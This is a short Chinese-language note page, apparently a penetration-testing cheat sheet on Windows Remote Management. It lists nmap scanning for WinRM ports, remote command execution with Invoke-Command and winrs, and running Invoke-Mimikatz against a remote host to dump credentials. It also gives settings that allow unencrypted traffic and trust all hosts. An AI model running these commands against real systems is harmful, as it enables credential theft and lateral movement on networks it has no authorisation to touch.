Windows Remote Management
约 1 分钟阅读
- 默认端口 HTTP 5985, HTTPS 5986
- Windows Remote Shell (WinRS)
- Windows 2008+
- 参考
- pentestlab.blog/tag/winrmLinkpentestlab.blog/tag/winrm默认端口 HTTP 5985, HTTPS 5986 · Windows Remote Shell (WinRS) · Windows 2008+ · 参考 · https://pentestlab.blog/tag/winrm/ · winrm enumerate winrm/config/Listener笔记:Windows Remote Management
# AlpineLinux
apk add nmap-scripts nmap-nselibs
nmap -p 5985,5986 -sV 192.168.0.0/24Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Import-Module ./Invoke-Mimikatz.ps1
Invoke-Mimikatz -ComputerName TARGET
Enable-PSRemoting -Force
winrm quickconfig
winrm set winrm/config/Client @{AllowUnencrypted = "true"}
Set-Item WSMan:localhost\client\trustedhosts -value *winrm enumerate winrm/config/Listener
winrm quickconfig -transport
winrm e winrm/config/listener
# 远程执行
winrs -r:http://WIN-2NE38K15TGH/wsman "cmd"
winrs -r:http://WIN-2NE38K15TGH/wsman "net localgroup administrators"关联信息
反向链接和本文引用的外部资料。
References
其他外链
1 条- pentestlab.blog/tag/winrmpentestlab.blog/tag/winrm